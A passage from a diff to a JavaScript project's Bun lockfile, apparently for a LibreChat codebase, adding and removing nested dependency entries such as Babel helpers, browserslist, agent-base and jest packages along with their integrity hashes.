"@jridgewell/sourcemap-codec": "^1.4.14" } }, "sha512-zzNR+SdQSDJzc8joaeP8QQoCQr8NuYx2dIIytl1QeBEZHJ9uW6hebsrYgbz8hJwUQao3TWCMtmfV8Nu1twOLAw=="], + + "@vitejs/plugin-react/@babel/core/@babel/helper-compilation-targets/@babel/compat-data": ["@babel/compat-data@7.29.0", "", {}, "sha512-T1NCJqT/j9+cn8fvkt7jtwbLBfLC/1y1c7NtCeXFRgzGTsafi68MRv8yzkYSapBnFA6L3U2VSc02ciDzoAJhJg=="], + + "@vitejs/plugin-react/@babel/core/@babel/helper-compilation-targets/browserslist": ["browserslist@4.28.1", "", { "dependencies": { "baseline-browser-mapping": "^2.9.0", "caniuse-lite": "^1.0.30001759", "electron-to-chromium": "^1.5.263", "node-releases": "^2.0.27", "update-browserslist-db": "^1.2.0" }, "bin": { "browserslist": "cli.js" } }, "sha512-ZC5Bd0LgJXgwGqUknZY/vkUQ04r8NXnJZ3yYi4vDmSiZmC/pdSN0NbNRPxZpbtO4uAfDUAFffO8IZoM3Gj8IkA=="], + + "@vitejs/plugin-react/@babel/core/@babel/helper-compilation-targets/lru-cache": ["lru-cache@5.1.1", "", { "dependencies": { "yallist": "^3.0.2" } }, "sha512-KpNARQA3Iwv+jTA0utUVVbrh+Jlrr1Fv0e56GGzAFOXN7dk/FviaDW8LHmK52DlcH4WP2n6gI8vN1aesBFgo9w=="], + + "@vitejs/plugin-react/@babel/core/@babel/helper-module-transforms/@babel/helper-module-imports": ["@babel/helper-module-imports@7.28.6", "", { "dependencies": { "@babel/traverse": "^7.28.6", "@babel/types": "^7.28.6" } }, "sha512-l5XkZK7r7wa9LucGw9LwZyyCUscb4x37JWTPz7swwFE/0FMQAGpiWUZn8u9DzkSBWEcK25jmvubfpw2dnAMdbw=="], + + "body-parser/raw-body/http-errors/statuses": ["statuses@2.0.2", "", {}, "sha512-DvEy55V3DB7uknRo+4iOGT5fP1slR8wQohVdknigZPMpMstaKJQWhwiYBACJE3Ul2pTnATihhBYnRhZQHGBiRw=="], + "cli-truncate/string-width/strip-ansi/ansi-regex": ["ansi-regex@6.1.0", "", {}, "sha512-7HSX4QQb4CspciLpVFwyRe79O3xsIZDDLER21kERQ71oaPodF8jL725AgJMFAYbooIqolJoRLuM81SpeUkpkvA=="], "colorspace/color/color-convert/color-name": ["color-name@1.1.3", "", {}, "sha512-72fSenhMw2HZMTVHeCA9KCmpEIbzWiQsjN+BHcBbS9vr1mtt+vJjPdksIBNUmKAW8TFUDPJK5SUU3QhE9NEXDw=="], @@ -8225,6 +7971,8 @@ "expect/jest-message-util/@jest/types/@jest/schemas": ["@jest/schemas@29.6.3", "", { "dependencies": { "@sinclair/typebox": "^0.27.8" } }, "sha512-mo5j5X+jIZmJQveBKeS/clAueipV7KgiX1vMgCxam1RNYiqE1w62n0/tJJnHtjW8ZHcQco5gY85jA3mi0L+nSA=="], + "expect/jest-util/@jest/types/@jest/schemas": ["@jest/schemas@29.6.3", "", { "dependencies": { "@sinclair/typebox": "^0.27.8" } }, "sha512-mo5j5X+jIZmJQveBKeS/clAueipV7KgiX1vMgCxam1RNYiqE1w62n0/tJJnHtjW8ZHcQco5gY85jA3mi0L+nSA=="], + "express-static-gzip/serve-static/send/debug": ["debug@2.6.9", "", { "dependencies": { "ms": "2.0.0" } }, "sha512-bC7ElrdJaJnPbAP+1EotYvqZsb3ecl5wi6Bfi6BJTUcNowp6cvspg0jXznRTKDjm/E7AdgFBVeAPVMNcKGsHMA=="], "express-static-gzip/serve-static/send/encodeurl": ["encodeurl@1.0.2", "", {}, "sha512-TPJXq8JqFaVYm2CWmPvnP2Iyo4ZSM7/QKcSmuMLDObfpH5fi7RUGmd/rTDf+rut/saiDiQEeVTNgAmJEdAOx0w=="], @@ -8233,11 +7981,11 @@ "express-static-gzip/serve-static/send/mime": ["mime@1.6.0", "", { "bin": "cli.js" }, "sha512-x0Vn8spI+wuJ1O6S7gnbaQg8Pxh4NNHb7KSINmEWKiPE4RKOplvijn+NkmYmmRgP68mc70j2EbeTFRsrswaQeg=="], - "google-auth-library/gaxios/https-proxy-agent/agent-base": ["agent-base@7.1.0", "", { "dependencies": { "debug": "^4.3.4" } }, "sha512-o/zjMZRhJxny7OyEF+Op8X+efiELC7k7yOjMzgfzVqOzXqkBkWI79YoTdOtsuWd5BWhAGAuOY/Xa6xpiaWXiNg=="], + "gcp-metadata/gaxios/https-proxy-agent/agent-base": ["agent-base@6.0.2", "", { "dependencies": { "debug": "4" } }, "sha512-RZNwNclF7+MS/8bDg70amg32dyeZGZxiDuQmZxKLAlQjr3jGyLx+4Kkk58UO7D2QdgFIQCovuSuZESne6RG6XQ=="], - "googleapis-common/gaxios/https-proxy-agent/agent-base": ["agent-base@7.1.0", "", { "dependencies": { "debug": "^4.3.4" } }, "sha512-o/zjMZRhJxny7OyEF+Op8X+efiELC7k7yOjMzgfzVqOzXqkBkWI79YoTdOtsuWd5BWhAGAuOY/Xa6xpiaWXiNg=="], + "gcp-metadata/gaxios/https-proxy-agent/debug": ["debug@4.4.0", "", { "dependencies": { "ms": "^2.1.3" } }, "sha512-6WTZ/IxCY/T6BALoZHaE4ctp9xm+Z5kY/pzYaCHRFeyVhojxlrm+46y68HA6hr0TcwEssoxNiDEUJQjfPZ/RYA=="], - "gtoken/gaxios/https-proxy-agent/agent-base": ["agent-base@7.1.0", "", { "dependencies": { "debug": "^4.3.4" } }, "sha512-o/zjMZRhJxny7OyEF+Op8X+efiELC7k7yOjMzgfzVqOzXqkBkWI79YoTdOtsuWd5BWhAGAuOY/Xa6xpiaWXiNg=="], + "glob/minimatch/brace-expansion/balanced-match": ["balanced-match@4.0.4", "", {}, "sha512-BLrgEcRTwX2o6gGxGOCNyMvGSp35YofuYzw9h1IMTRmKqttAZZVU67bdb9Pr2vUHA8+j3i2tJfjO6C6+4myGTA=="], "jest-changed-files/execa/onetime/mimic-fn": ["mimic-fn@2.1.0", "", {}, "sha512-OqbOk5oEQeAZ8WXWydlu9HJjz9WVdEIvamMCcXmuqUYjTknH/sqsWvhQ3vgwKFRR1HpjvNBKQ37nbJgYzGqGcg=="], @@ -8245,76 +7993,12 @@ "jest-config/glob/path-scurry/lru-cache": ["lru-cache@10.2.0", "", {}, "sha512-2bIM8x+VAf6JT4bKAljS1qUWgMsqZRPGJS6FSahIMPVvctcNhyVp7AJu7quxOW9jwkryBReKZY5tY5JYv2n/7Q=="], - "jest-mock/@jest/types/@jest/schemas/@sinclair/typebox": ["@sinclair/typebox@0.27.8", "", {}, "sha512-+Fj43pSMwJs4KRrH/938Uf+uAELIgVBmQzg/q1YG10djyfA3TnrU8N8XzqCh/okZdszqBQTZf96idMfE5lnwTA=="], - "jest-runtime/glob/minimatch/brace-expansion": ["brace-expansion@2.0.2", "", { "dependencies": { "balanced-match": "^1.0.0" } }, "sha512-Jt0vHyM+jmUBqojB7E1NIYadt0vI0Qxjxd2TErW94wDz+E2LAm5vKMXXwg6ZZBTHPuUlDgQHKXvjGBdfcF1ZDQ=="], "jest-runtime/glob/path-scurry/lru-cache": ["lru-cache@10.2.0", "", {}, "sha512-2bIM8x+VAf6JT4bKAljS1qUWgMsqZRPGJS6FSahIMPVvctcNhyVp7AJu7quxOW9jwkryBReKZY5tY5JYv2n/7Q=="], - "jest-util/@jest/types/@jest/schemas/@sinclair/typebox": ["@sinclair/typebox@0.27.8", "", {}, "sha512-+Fj43pSMwJs4KRrH/938Uf+uAELIgVBmQzg/q1YG10djyfA3TnrU8N8XzqCh/okZdszqBQTZf96idMfE5lnwTA=="], - "jsdom/whatwg-url/tr46/punycode": ["punycode@2.3.1", "", {}, "sha512-vYt7UD1U9Wg6138shLtLOvdAu+8DsC/ilFtEVHcH+wydcSpNE20AfSOduf6MkRFahL5FY7X1oU7nKVZFtfq8Fg=="], - "librechat-data-provider/@babel/preset-env/@babel/plugin-bugfix-v8-spread-parameters-in-optional-chaining/@babel/helper-skip-transparent-expression-wrappers": ["@babel/helper-skip-transparent-expression-wrappers@7.27.1", "", { "dependencies": { "@babel/traverse": "^7.27.1", "@babel/types": "^7.27.1" } }, "sha512-Tub4ZKEXqbPjXgWLl2+3JpQAYBJ8+ikpQ2Ocj/q/r0LwE3UhENh7EUabyHjz2kCEsrRY83ew2DQdHluuiDQFzg=="], - - "librechat-data-provider/@babel/preset-env/@babel/plugin-transform-async-generator-functions/@babel/helper-remap-async-to-generator": ["@babel/helper-remap-async-to-generator@7.27.1", "", { "dependencies": { "@babel/helper-annotate-as-pure": "^7.27.1", "@babel/helper-wrap-function": "^7.27.1", "@babel/traverse": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0" } }, "sha512-7fiA521aVw8lSPeI4ZOD3vRFkoqkJcS+z4hFo82bFSH/2tNd6eJ5qCVMS5OzDmZh/kaHQeBaeyxK6wljcPtveA=="], - - "librechat-data-provider/@babel/preset-env/@babel/plugin-transform-async-to-generator/@babel/helper-remap-async-to-generator": ["@babel/helper-remap-async-to-generator@7.27.1", "", { "dependencies": { "@babel/helper-annotate-as-pure": "^7.27.1", "@babel/helper-wrap-function": "^7.27.1", "@babel/traverse": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0" } }, "sha512-7fiA521aVw8lSPeI4ZOD3vRFkoqkJcS+z4hFo82bFSH/2tNd6eJ5qCVMS5OzDmZh/kaHQeBaeyxK6wljcPtveA=="], - - "librechat-data-provider/@babel/preset-env/@babel/plugin-transform-class-properties/@babel/helper-create-class-features-plugin": ["@babel/helper-create-class-features-plugin@7.28.5", "", { "dependencies": { "@babel/helper-annotate-as-pure": "^7.27.3", "@babel/helper-member-expression-to-functions": "^7.28.5", "@babel/helper-optimise-call-expression": "^7.27.1", "@babel/helper-replace-supers": "^7.27.1", "@babel/helper-skip-transparent-expression-wrappers": "^7.27.1", "@babel/traverse": "^7.28.5", "semver": "^6.3.1" }, "peerDependencies": { "@babel/core": "^7.0.0" } }, "sha512-q3WC4JfdODypvxArsJQROfupPBq9+lMwjKq7C33GhbFYJsufD0yd/ziwD+hJucLeWsnFPWZjsU2DNFqBPE7jwQ=="], - - "librechat-data-provider/@babel/preset-env/@babel/plugin-transform-class-static-block/@babel/helper-create-class-features-plugin": ["@babel/helper-create-class-features-plugin@7.28.5", "", { "dependencies": { "@babel/helper-annotate-as-pure": "^7.27.3", "@babel/helper-member-expression-to-functions": "^7.28.5", "@babel/helper-optimise-call-expression": "^7.27.1", "@babel/helper-replace-supers": "^7.27.1", "@babel/helper-skip-transparent-expression-wrappers": "^7.27.1", "@babel/traverse": "^7.28.5", "semver": "^6.3.1" }, "peerDependencies": { "@babel/core": "^7.0.0" } }, "sha512-q3WC4JfdODypvxArsJQROfupPBq9+lMwjKq7C33GhbFYJsufD0yd/ziwD+hJucLeWsnFPWZjsU2DNFqBPE7jwQ=="], - - "librechat-data-provider/@babel/preset-env/@babel/plugin-transform-classes/@babel/helper-annotate-as-pure": ["@babel/helper-annotate-as-pure@7.27.3", "", { "dependencies": { "@babel/types": "^7.27.3" } }, "sha512-fXSwMQqitTGeHLBC08Eq5yXz2m37E4pJX1qAU1+2cNedz/ifv/bVXft90VeSav5nFO61EcNgwr0aJxbyPaWBPg=="], - - "librechat-data-provider/@babel/preset-env/@babel/plugin-transform-classes/@babel/helper-replace-supers": ["@babel/helper-replace-supers@7.27.1", "", { "dependencies": { "@babel/helper-member-expression-to-functions": "^7.27.1", "@babel/helper-optimise-call-expression": "^7.27.1", "@babel/traverse": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0" } }, "sha512-7EHz6qDZc8RYS5ElPoShMheWvEgERonFCs7IAonWLLUTXW59DP14bCZt89/GKyreYn8g3S83m21FelHKbeDCKA=="], - - "librechat-data-provider/@babel/preset-env/@babel/plugin-transform-dotall-regex/@babel/helper-create-regexp-features-plugin": ["@babel/helper-create-regexp-features-plugin@7.28.5", "", { "dependencies": { "@babel/helper-annotate-as-pure": "^7.27.3", "regexpu-core": "^6.3.1", "semver": "^6.3.1" }, "peerDependencies": { "@babel/core": "^7.0.0" } }, "sha512-N1EhvLtHzOvj7QQOUCCS3NrPJP8c5W6ZXCHDn7Yialuy1iu4r5EmIYkXlKNqT99Ciw+W0mDqWoR6HWMZlFP3hw=="], - - "librechat-data-provider/@babel/preset-env/@babel/plugin-transform-duplicate-named-capturing-groups-regex/@babel/helper-create-regexp-features-plugin": ["@babel/helper-create-regexp-features-plugin@7.28.5", "", { "dependencies": { "@babel/helper-annotate-as-pure": "^7.27.3", "regexpu-core": "^6.3.1", "semver": "^6.3.1" }, "peerDependencies": { "@babel/core": "^7.0.0" } }, "sha512-N1EhvLtHzOvj7QQOUCCS3NrPJP8c5W6ZXCHDn7Yialuy1iu4r5EmIYkXlKNqT99Ciw+W0mDqWoR6HWMZlFP3hw=="], - - "librechat-data-provider/@babel/preset-env/@babel/plugin-transform-for-of/@babel/helper-skip-transparent-expression-wrappers": ["@babel/helper-skip-transparent-expression-wrappers@7.27.1", "", { "dependencies": { "@babel/traverse": "^7.27.1", "@babel/types": "^7.27.1" } }, "sha512-Tub4ZKEXqbPjXgWLl2+3JpQAYBJ8+ikpQ2Ocj/q/r0LwE3UhENh7EUabyHjz2kCEsrRY83ew2DQdHluuiDQFzg=="], - - "librechat-data-provider/@babel/preset-env/@babel/plugin-transform-named-capturing-groups-regex/@babel/helper-create-regexp-features-plugin": ["@babel/helper-create-regexp-features-plugin@7.28.5", "", { "dependencies": { "@babel/helper-annotate-as-pure": "^7.27.3", "regexpu-core": "^6.3.1", "semver": "^6.3.1" }, "peerDependencies": { "@babel/core": "^7.0.0" } }, "sha512-N1EhvLtHzOvj7QQOUCCS3NrPJP8c5W6ZXCHDn7Yialuy1iu4r5EmIYkXlKNqT99Ciw+W0mDqWoR6HWMZlFP3hw=="], - - "librechat-data-provider/@babel/preset-env/@babel/plugin-transform-object-super/@babel/helper-replace-supers": ["@babel/helper-replace-supers@7.27.1", "", { "dependencies": { "@babel/helper-member-expression-to-functions": "^7.27.1", "@babel/helper-optimise-call-expression": "^7.27.1", "@babel/traverse": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0" } }, "sha512-7EHz6qDZc8RYS5ElPoShMheWvEgERonFCs7IAonWLLUTXW59DP14bCZt89/GKyreYn8g3S83m21FelHKbeDCKA=="], - - "librechat-data-provider/@babel/preset-env/@babel/plugin-transform-optional-chaining/@babel/helper-skip-transparent-expression-wrappers": ["@babel/helper-skip-transparent-expression-wrappers@7.27.1", "", { "dependencies": { "@babel/traverse": "^7.27.1", "@babel/types": "^7.27.1" } }, "sha512-Tub4ZKEXqbPjXgWLl2+3JpQAYBJ8+ikpQ2Ocj/q/r0LwE3UhENh7EUabyHjz2kCEsrRY83ew2DQdHluuiDQFzg=="], - - "librechat-data-provider/@babel/preset-env/@babel/plugin-transform-private-methods/@babel/helper-create-class-features-plugin": ["@babel/helper-create-class-features-plugin@7.28.5", "", { "dependencies": { "@babel/helper-annotate-as-pure": "^7.27.3", "@babel/helper-member-expression-to-functions": "^7.28.5", "@babel/helper-optimise-call-expression": "^7.27.1", "@babel/helper-replace-supers": "^7.27.1", "@babel/helper-skip-transparent-expression-wrappers": "^7.27.1", "@babel/traverse": "^7.28.5", "semver": "^6.3.1" }, "peerDependencies": { "@babel/core": "^7.0.0" } }, "sha512-q3WC4JfdODypvxArsJQROfupPBq9+lMwjKq7C33GhbFYJsufD0yd/ziwD+hJucLeWsnFPWZjsU2DNFqBPE7jwQ=="], - - "librechat-data-provider/@babel/preset-env/@babel/plugin-transform-private-property-in-object/@babel/helper-annotate-as-pure": ["@babel/helper-annotate-as-pure@7.27.3", "", { "dependencies": { "@babel/types": "^7.27.3" } }, "sha512-fXSwMQqitTGeHLBC08Eq5yXz2m37E4pJX1qAU1+2cNedz/ifv/bVXft90VeSav5nFO61EcNgwr0aJxbyPaWBPg=="], - - "librechat-data-provider/@babel/preset-env/@babel/plugin-transform-private-property-in-object/@babel/helper-create-class-features-plugin": ["@babel/helper-create-class-features-plugin@7.28.5", "", { "dependencies": { "@babel/helper-annotate-as-pure": "^7.27.3", "@babel/helper-member-expression-to-functions": "^7.28.5", "@babel/helper-optimise-call-expression": "^7.27.1", "@babel/helper-replace-supers": "^7.27.1", "@babel/helper-skip-transparent-expression-wrappers": "^7.27.1", "@babel/traverse": "^7.28.5", "semver": "^6.3.1" }, "peerDependencies": { "@babel/core": "^7.0.0" } }, "sha512-q3WC4JfdODypvxArsJQROfupPBq9+lMwjKq7C33GhbFYJsufD0yd/ziwD+hJucLeWsnFPWZjsU2DNFqBPE7jwQ=="], - - "librechat-data-provider/@babel/preset-env/@babel/plugin-transform-regexp-modifiers/@babel/helper-create-regexp-features-plugin": ["@babel/helper-create-regexp-features-plugin@7.28.5", "", { "dependencies": { "@babel/helper-annotate-as-pure": "^7.27.3", "regexpu-core": "^6.3.1", "semver": "^6.3.1" }, "peerDependencies": { "@babel/core": "^7.0.0" } }, "sha512-N1EhvLtHzOvj7QQOUCCS3NrPJP8c5W6ZXCHDn7Yialuy1iu4r5EmIYkXlKNqT99Ciw+W0mDqWoR6HWMZlFP3hw=="], - - "librechat-data-provider/@babel/preset-env/@babel/plugin-transform-spread/@babel/helper-skip-transparent-expression-wrappers": ["@babel/helper-skip-transparent-expression-wrappers@7.27.1", "", { "dependencies": { "@babel/traverse": "^7.27.1", "@babel/types": "^7.27.1" } }, "sha512-Tub4ZKEXqbPjXgWLl2+3JpQAYBJ8+ikpQ2Ocj/q/r0LwE3UhENh7EUabyHjz2kCEsrRY83ew2DQdHluuiDQFzg=="], - - "librechat-data-provider/@babel/preset-env/@babel/plugin-transform-unicode-property-regex/@babel/helper-create-regexp-features-plugin": ["@babel/helper-create-regexp-features-plugin@7.28.5", "", { "dependencies": { "@babel/helper-annotate-as-pure": "^7.27.3", "regexpu-core": "^6.3.1", "semver": "^6.3.1" }, "peerDependencies": { "@babel/core": "^7.0.0" } }, "sha512-N1EhvLtHzOvj7QQOUCCS3NrPJP8c5W6ZXCHDn7Yialuy1iu4r5EmIYkXlKNqT99Ciw+W0mDqWoR6HWMZlFP3hw=="], - - "librechat-data-provider/@babel/preset-env/@babel/plugin-transform-unicode-regex/@babel/helper-create-regexp-features-plugin": ["@babel/helper-create-regexp-features-plugin@7.28.5", "", { "dependencies": { "@babel/helper-annotate-as-pure": "^7.27.3", "regexpu-core": "^6.3.1", "semver": "^6.3.1" }, "peerDependencies": { "@babel/core": "^7.0.0" } }, "sha512-N1EhvLtHzOvj7QQOUCCS3NrPJP8c5W6ZXCHDn7Yialuy1iu4r5EmIYkXlKNqT99Ciw+W0mDqWoR6HWMZlFP3hw=="], - - "librechat-data-provider/@babel/preset-env/@babel/plugin-transform-unicode-sets-regex/@babel/helper-create-regexp-features-plugin": ["@babel/helper-create-regexp-features-plugin@7.28.5", "", { "dependencies": { "@babel/helper-annotate-as-pure": "^7.27.3", "regexpu-core": "^6.3.1", "semver": "^6.3.1" }, "peerDependencies": { "@babel/core": "^7.0.0" } }, "sha512-N1EhvLtHzOvj7QQOUCCS3NrPJP8c5W6ZXCHDn7Yialuy1iu4r5EmIYkXlKNqT99Ciw+W0mDqWoR6HWMZlFP3hw=="], - - "librechat-data-provider/@babel/preset-env/babel-plugin-polyfill-corejs2/@babel/helper-define-polyfill-provider": ["@babel/helper-define-polyfill-provider@0.6.5", "", { "dependencies": { "@babel/helper-compilation-targets": "^7.27.2", "@babel/helper-plugin-utils": "^7.27.1", "debug": "^4.4.1", "lodash.debounce": "^4.0.8", "resolve": "^1.22.10" }, "peerDependencies": { "@babel/core": "^7.4.0 || ^8.0.0-0 <8.0.0" } }, "sha512-uJnGFcPsWQK8fvjgGP5LZUZZsYGIoPeRjSF5PGwrelYgq7Q15/Ft9NGFp1zglwgIv//W0uG4BevRuSJRyylZPg=="], - - "librechat-data-provider/@babel/preset-env/babel-plugin-polyfill-corejs3/@babel/helper-define-polyfill-provider": ["@babel/helper-define-polyfill-provider@0.6.5", "", { "dependencies": { "@babel/helper-compilation-targets": "^7.27.2", "@babel/helper-plugin-utils": "^7.27.1", "debug": "^4.4.1", "lodash.debounce": "^4.0.8", "resolve": "^1.22.10" }, "peerDependencies": { "@babel/core": "^7.4.0 || ^8.0.0-0 <8.0.0" } }, "sha512-uJnGFcPsWQK8fvjgGP5LZUZZsYGIoPeRjSF5PGwrelYgq7Q15/Ft9NGFp1zglwgIv//W0uG4BevRuSJRyylZPg=="], - - "librechat-data-provider/@babel/preset-env/babel-plugin-polyfill-regenerator/@babel/helper-define-polyfill-provider": ["@babel/helper-define-polyfill-provider@0.6.5", "", { "dependencies": { "@babel/helper-compilation-targets": "^7.27.2", "@babel/helper-plugin-utils": "^7.27.1", "debug": "^4.4.1", "lodash.debounce": "^4.0.8", "resolve": "^1.22.10" }, "peerDependencies": { "@babel/core": "^7.4.0 || ^8.0.0-0 <8.0.0" } }, "sha512-uJnGFcPsWQK8fvjgGP5LZUZZsYGIoPeRjSF5PGwrelYgq7Q15/Ft9NGFp1zglwgIv//W0uG4BevRuSJRyylZPg=="], - - "librechat-data-provider/@babel/preset-env/core-js-compat/browserslist": ["browserslist@4.28.0", "", { "dependencies": { "baseline-browser-mapping": "^2.8.25", "caniuse-lite": "^1.0.30001754", "electron-to-chromium": "^1.5.249", "node-releases": "^2.0.27", "update-browserslist-db": "^1.1.4" }, "bin": "cli.js" }, "sha512-tbydkR/CxfMwelN0vwdP/pLkDwyAASZ+VfWm4EOwlB6SWhx1sYnWLqo8N5j0rAzPfzfRaxt0mM/4wPU/Su84RQ=="], - - "librechat-data-provider/@babel/preset-react/@babel/plugin-transform-react-jsx/@babel/helper-annotate-as-pure": ["@babel/helper-annotate-as-pure@7.27.3", "", { "dependencies": { "@babel/types": "^7.27.3" } }, "sha512-fXSwMQqitTGeHLBC08Eq5yXz2m37E4pJX1qAU1+2cNedz/ifv/bVXft90VeSav5nFO61EcNgwr0aJxbyPaWBPg=="], - - "librechat-data-provider/@babel/preset-react/@babel/plugin-transform-react-pure-annotations/@babel/helper-annotate-as-pure": ["@babel/helper-annotate-as-pure@7.27.3", "", { "dependencies": { "@babel/types": "^7.27.3" } }, "sha512-fXSwMQqitTGeHLBC08Eq5yXz2m37E4pJX1qAU1+2cNedz/ifv/bVXft90VeSav5nFO61EcNgwr0aJxbyPaWBPg=="], - - "librechat-data-provider/@babel/preset-typescript/@babel/plugin-transform-typescript/@babel/helper-annotate-as-pure": ["@babel/helper-annotate-as-pure@7.27.3", "", { "dependencies": { "@babel/types": "^7.27.3" } }, "sha512-fXSwMQqitTGeHLBC08Eq5yXz2m37E4pJX1qAU1+2cNedz/ifv/bVXft90VeSav5nFO61EcNgwr0aJxbyPaWBPg=="], - - "librechat-data-provider/@babel/preset-typescript/@babel/plugin-transform-typescript/@babel/helper-create-class-features-plugin": ["@babel/helper-create-class-features-plugin@7.28.5", "", { "dependencies": { "@babel/helper-annotate-as-pure": "^7.27.3", "@babel/helper-member-expression-to-functions": "^7.28.5", "@babel/helper-optimise-call-expression": "^7.27.1", "@babel/helper-replace-supers": "^7.27.1", "@babel/helper-skip-transparent-expression-wrappers": "^7.27.1", "@babel/traverse": "^7.28.5", "semver": "^6.3.1" }, "peerDependencies": { "@babel/core": "^7.0.0" } }, "sha512-q3WC4JfdODypvxArsJQROfupPBq9+lMwjKq7C33GhbFYJsufD0yd/ziwD+hJucLeWsnFPWZjsU2DNFqBPE7jwQ=="], - - "librechat-data-provider/@babel/preset-typescript/@babel/plugin-transform-typescript/@babel/helper-skip-transparent-expression-wrappers": ["@babel/helper-skip-transparent-expression-wrappers@7.27.1", "", { "dependencies": { "@babel/traverse": "^7.27.1", "@babel/types": "^7.27.1" } }, "sha512-Tub4ZKEXqbPjXgWLl2+3JpQAYBJ8+ikpQ2Ocj/q/r0LwE3UhENh7EUabyHjz2kCEsrRY83ew2DQdHluuiDQFzg=="], - "mongodb-connection-string-url/whatwg-url/tr46/punycode": ["punycode@2.3.1", "", {}, "sha512-vYt7UD1U9Wg6138shLtLOvdAu+8DsC/ilFtEVHcH+wydcSpNE20AfSOduf6MkRFahL5FY7X1oU7nKVZFtfq8Fg=="], "multer/type-is/mime-types/mime-db": ["mime-db@1.52.0", "", {}, "sha512-sPU4uV7dYlvtWJxwwxHD0PuihVNiE7TyAbQ5SWxDCB9mUYvOgroQOwYQQOKPJ8CIbE+1ETVlOoK1UC2nU3gYvg=="], @@ -8331,41 +8015,15 @@ "svgo/css-select/domutils/dom-serializer": ["dom-serializer@1.4.1", "", { "dependencies": { "domelementtype": "^2.0.1", "domhandler": "^4.2.0", "entities": "^2.0.0" } }, "sha512-VHwB3KfrcOOkelEG2ZOfxqLZdfkil8PtJi4P8N2MMXucZq2yLp75ClViUlOVwyoHEDjYU433Aq+5zWP61+RGag=="], - "terser-webpack-plugin/jest-worker/supports-color/has-flag": ["has-flag@4.0.0", "", {}, "sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ=="], + "workbox-build/@babel/core/@babel/generator/@jridgewell/trace-mapping": ["@jridgewell/trace-mapping@0.3.31", "", { "dependencies": { "@jridgewell/resolve-uri": "^3.1.0", "@jridgewell/sourcemap-codec": "^1.4.14" } }, "sha512-zzNR+SdQSDJzc8joaeP8QQoCQr8NuYx2dIIytl1QeBEZHJ9uW6hebsrYgbz8hJwUQao3TWCMtmfV8Nu1twOLAw=="], - "workbox-build/@babel/preset-env/@babel/plugin-bugfix-v8-spread-parameters-in-optional-chaining/@babel/helper-skip-transparent-expression-wrappers": ["@babel/helper-skip-transparent-expression-wrappers@7.22.5", "", { "dependencies": { "@babel/types": "^7.22.5" } }, "sha512-tK14r66JZKiC43p8Ki33yLBVJKlQDFoA8GYN67lWCDCqoL6EMMSuM9b+Iff2jHaM/RRFYl7K+iiru7hbRqNx8Q=="], + "workbox-build/@babel/core/@babel/helper-compilation-targets/@babel/compat-data": ["@babel/compat-data@7.29.0", "", {}, "sha512-T1NCJqT/j9+cn8fvkt7jtwbLBfLC/1y1c7NtCeXFRgzGTsafi68MRv8yzkYSapBnFA6L3U2VSc02ciDzoAJhJg=="], - "workbox-build/@babel/preset-env/@babel/plugin-transform-async-generator-functions/@babel/helper-remap-async-to-generator": ["@babel/helper-remap-async-to-generator@7.22.20", "", { "dependencies": { "@babel/helper-annotate-as-pure": "^7.22.5", "@babel/helper-environment-visitor": "^7.22.20", "@babel/helper-wrap-function": "^7.22.20" }, "peerDependencies": { "@babel/core": "^7.0.0" } }, "sha512-pBGyV4uBqOns+0UvhsTO8qgl8hO89PmiDYv+/COyp1aeMcmfrfruz+/nCMFiYyFF/Knn0yfrC85ZzNFjembFTw=="], + "workbox-build/@babel/core/@babel/helper-compilation-targets/browserslist": ["browserslist@4.28.1", "", { "dependencies": { "baseline-browser-mapping": "^2.9.0", "caniuse-lite": "^1.0.30001759", "electron-to-chromium": "^1.5.263", "node-releases": "^2.0.27", "update-browserslist-db": "^1.2.0" }, "bin": { "browserslist": "cli.js" } }, "sha512-ZC5Bd0LgJXgwGqUknZY/vkUQ04r8NXnJZ3yYi4vDmSiZmC/pdSN0NbNRPxZpbtO4uAfDUAFffO8IZoM3Gj8IkA=="], - "workbox-build/@babel/preset-env/@babel/plugin-transform-async-to-generator/@babel/helper-remap-async-to-generator": ["@babel/helper-remap-async-to-generator@7.22.20", "", { "dependencies": { "@babel/helper-annotate-as-pure": "^7.22.5", "@babel/helper-environment-visitor": "^7.22.20", "@babel/helper-wrap-function": "^7.22.20" }, "peerDependencies": { "@babel/core": "^7.0.0" } }, "sha512-pBGyV4uBqOns+0UvhsTO8qgl8hO89PmiDYv+/COyp1aeMcmfrfruz+/nCMFiYyFF/Knn0yfrC85ZzNFjembFTw=="], + "workbox-build/@babel/core/@babel/helper-compilation-targets/lru-cache": ["lru-cache@5.1.1", "", { "dependencies": { "yallist": "^3.0.2" } }, "sha512-KpNARQA3Iwv+jTA0utUVVbrh+Jlrr1Fv0e56GGzAFOXN7dk/FviaDW8LHmK52DlcH4WP2n6gI8vN1aesBFgo9w=="], - "workbox-build/@babel/preset-env/@babel/plugin-transform-class-properties/@babel/helper-create-class-features-plugin": ["@babel/helper-create-class-features-plugin@7.23.10", "", { "dependencies": { "@babel/helper-annotate-as-pure": "^7.22.5", "@babel/helper-environment-visitor": "^7.22.20", "@babel/helper-function-name": "^7.23.0", "@babel/helper-member-expression-to-functions": "^7.23.0", "@babel/helper-optimise-call-expression": "^7.22.5", "@babel/helper-replace-supers": "^7.22.20", "@babel/helper-skip-transparent-expression-wrappers": "^7.22.5", "@babel/helper-split-export-declaration": "^7.22.6", "semver": "^6.3.1" }, "peerDependencies": { "@babel/core": "^7.0.0" } }, "sha512-2XpP2XhkXzgxecPNEEK8Vz8Asj9aRxt08oKOqtiZoqV2UGZ5T+EkyP9sXQ9nwMxBIG34a7jmasVqoMop7VdPUw=="], - - "workbox-build/@babel/preset-env/@babel/plugin-transform-class-static-block/@babel/helper-create-class-features-plugin": ["@babel/helper-create-class-features-plugin@7.23.10", "", { "dependencies": { "@babel/helper-annotate-as-pure": "^7.22.5", "@babel/helper-environment-visitor": "^7.22.20", "@babel/helper-function-name": "^7.23.0", "@babel/helper-member-expression-to-functions": "^7.23.0", "@babel/helper-optimise-call-expression": "^7.22.5", "@babel/helper-replace-supers": "^7.22.20", "@babel/helper-skip-transparent-expression-wrappers": "^7.22.5", "@babel/helper-split-export-declaration": "^7.22.6", "semver": "^6.3.1" }, "peerDependencies": { "@babel/core": "^7.0.0" } }, 